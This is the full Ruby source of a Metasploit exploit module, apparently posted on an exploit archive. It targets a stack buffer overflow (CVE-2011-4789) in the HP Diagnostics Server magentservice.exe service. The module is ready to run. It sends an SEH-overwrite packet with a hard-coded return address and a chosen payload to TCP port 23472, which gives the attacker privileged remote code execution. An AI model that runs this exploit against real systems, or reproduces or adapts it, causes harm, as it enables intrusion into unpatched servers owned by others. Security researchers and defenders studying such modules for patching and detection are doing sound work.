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HP Diagnostics Server magentservice.exe Overflow

Posted on 28 January 2012

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'HP Diagnostics Server magentservice.exe overflow',
 'Description' => %q{
 This module exploits a stack buffer overflow in HP Diagnostics Server
 magentservice.exe service. By sending a specially crafted packet, an attacker
 may be able to execute arbitrary code. Originally found and posted by
 AbdulAziz Harir via ZDI.
 },
 'Author' =>
 [
 'AbdulAziz Hariri', # Original discovery
 'hal', # Metasploit module
 ],
 'License' => MSF_LICENSE,
 'References' =>
 [
 ['OSVDB', '72815'],
 ['CVE', '2011-4789'],
 ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-016/']
 ],
 'Privileged' => true,
 'DefaultOptions' =>
 {
 'EXITFUNC' => 'seh',
 'SSL' => true,
 'SSLVersion' => 'SSL3'
 },
 'Payload' =>
 {
 'Space' => 1000,
 'BadChars' => "x00",
 'StackAdjustment' => -3500
 },
 'Platform' => 'win',
 'DefaultTarget' => 0,
 'Targets' =>
 [
 [
 'Diagnostics Server 9.10',
 {
 # pop esi # pop ebx # ret 10
 # magentservice.exe
 'Ret' => 0x780c8f1f
 }
 ]
 ],
 'DisclosureDate' => 'Jan 12 2012'))

 register_options([Opt::RPORT(23472)], self.class)
 end

 def exploit

 req = "x00x00x00x00"
 req << rand_text_alpha_upper(1092)
 req << generate_seh_payload(target.ret)

 connect
 sock.put(req)

 handler
 disconnect

 end
end

 

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